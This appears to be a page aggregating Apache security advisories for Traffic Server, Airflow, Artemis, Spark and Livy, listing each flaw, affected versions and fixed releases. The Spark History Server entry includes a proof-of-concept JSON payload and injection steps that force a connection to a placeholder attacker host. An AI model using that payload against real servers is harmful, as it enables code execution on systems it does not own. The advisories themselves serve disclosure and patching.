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191 advisories across 32 monitored vendors.
Apache Traffic Server allows request smuggling if chunked messages are malformed. This issue affects Apache Traffic Server: from 9.0.0 through 9.2.12, from 10.0.0 through 10.1.1. Users are recommended to upgrade to version 9.2.13 or 10.1.2, which fix the issue.
A bug in POST request handling causes a crash under a certain condition. This issue affects Apache Traffic Server: from 10.0.0 through 10.1.1, from 9.0.0 through 9.2.12. Users are recommended to upgrade to version 10.1.2 or 9.2.13, which fix the issue. A workaround for older versions is to set proxy.config.http.request_buffer_enabled to 0 (the default value is 0).
Improper Certificate Validation vulnerability in Apache Airflow Provider for Databricks. Provider code did not validate certificates for connections to Databricks back-end which could result in a man-of-a-middle attack that traffic is intercepted and manipulated or credentials exfiltrated w/o notice. This issue affects Apache Airflow Provider for Databricks: from 1.10.0 before 1.12.0. Users are recommended to upgrade to version 1.12.0, which fixes the issue.
Incorrect Authorization (CWE-863) vulnerability in Apache Artemis, Apache ActiveMQ Artemis exists when an application using the OpenWire protocol attempts to create a non-durable JMS topic subscription on an address that doesn't exist with an authenticated user which has the "createDurableQueue" permission but does not have the "createAddress" permission and address auto-creation is disabled. In this circumstance, a temporary address will be created whereas the attempt to create the non-durable subscription should instead fail since the user is not authorized to create the corresponding address. When the OpenWire connection is closed the address is removed. This issue affects Apache Artemis: from 2.50.0 through 2.52.0; Apache ActiveMQ Artemis: from 2.0.0 through 2.44.0. Users are recommended to upgrade to version 2.53.0, which fixes the issue.
Apache Airflow versions 3.1.0 through 3.1.7 missing authorization vulnerability in the Execution API's Human-in-the-Loop (HITL) endpoints that allows any authenticated task instance to read, approve, or reject HITL workflows belonging to any other task instance. Users are recommended to upgrade to Apache Airflow 3.1.8 or later, which resolves this issue.
Apache Airflow versions 3.1.0 through 3.1.7 session token (_token) in cookies is set to path=/ regardless of the configured [webserver] base_url or [api] base_url. This allows any application co-hosted under the same domain to capture valid Airflow session tokens from HTTP request headers, allowing full session takeover without attacking Airflow itself. Users are recommended to upgrade to Apache Airflow 3.1.8 or later, which resolves this issue.
Apache Airflow versions 3.1.0 through 3.1.7 /ui/dependencies endpoint returns the full DAG dependency graph without filtering by authorized DAG IDs. This allows an authenticated user with only DAG Dependencies permission to enumerate DAGs they are not authorized to view. Users are recommended to upgrade to Apache Airflow 3.1.8 or later, which resolves this issue.
Apache Airflow versions 3.0.0 through 3.1.7 FastAPI DagVersion listing API does not apply per-DAG authorization filtering when the request is made with dag_id set to "~" (wildcard for all DAGs). As a result, version metadata of DAGs that the requester is not authorized to access is returned. Users are recommended to upgrade to Apache Airflow 3.1.8 or later, which resolves this issue.
This issue affects Apache Spark: before 3.5.7 and 4.0.1. Users are recommended to upgrade to version 3.5.7 or 4.0.1 and above, which fixes the issue. Summary Apache Spark 3.5.4 and earlier versions contain a code execution vulnerability in the Spark History Web UI due to overly permissive Jackson deserialization of event log data. This allows an attacker with access to the Spark event logs directory to inject malicious JSON payloads that trigger deserialization of arbitrary classes, enabling command execution on the host running the Spark History Server. Details The vulnerability arises because the Spark History Server uses Jackson polymorphic deserialization with @JsonTypeInfo.Id.CLASS on SparkListenerEvent objects, allowing an attacker to specify arbitrary class names in the event JSON. This behavior permits instantiating unintended classes, such as org.apache.hive.jdbc.HiveConnection, which can perform network calls or other malicious actions during deserialization. The attacker can exploit this by injecting crafted JSON content into the Spark event log files, which the History Server then deserializes on startup or when loading event logs. For example, the attacker can force the History Server to open a JDBC connection to a remote attacker-controlled server, demonstrating remote command injection capability. Proof of Concept: 1. Run Spark with event logging enabled, writing to a writable directory (spark-logs). 2. Inject the following JSON at the beginning of an event log file: { "Event": "org.apache.hive.jdbc.HiveConnection", "uri": "jdbc:hive2://<IP>:<PORT>/", "info": { "hive.metastore.uris": "thrift://<IP>:<PORT>" } } 3. Start the Spark History Server with logs pointing to the modified directory. 4. The Spark History Server initiates a JDBC connection to the attacker’s server, confirming the injection. Impact An attacker with write access to Spark event logs can execute arbitrary code on the server running the History Server, potentially compromising the entire system.
Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in Apache Livy. This issue affects Apache Livy: from 0.3.0 before 0.9.0. The vulnerability can only be exploited with non-default Apache Livy Server settings. If the configuration value "livy.file.local-dir-whitelist" is set to a non-default value, the directory checking can be bypassed. Users are recommended to upgrade to version 0.9.0, which fixes the issue.
Malicious configuration can lead to unauthorized file access in Apache Livy. This issue affects Apache Livy 0.7.0 and 0.8.0 when connecting to Apache Spark 3.1 or later. A request that includes a Spark configuration value supported from Apache Spark version 3.1 can lead to users gaining access to files they do not have permissions to. For the vulnerability to be exploitable, the user needs to have access to Apache Livy's REST or JDBC interface and be able to send requests with arbitrary Spark configuration values. Users are recommended to upgrade to version 0.9.0 or later, which fixes the issue.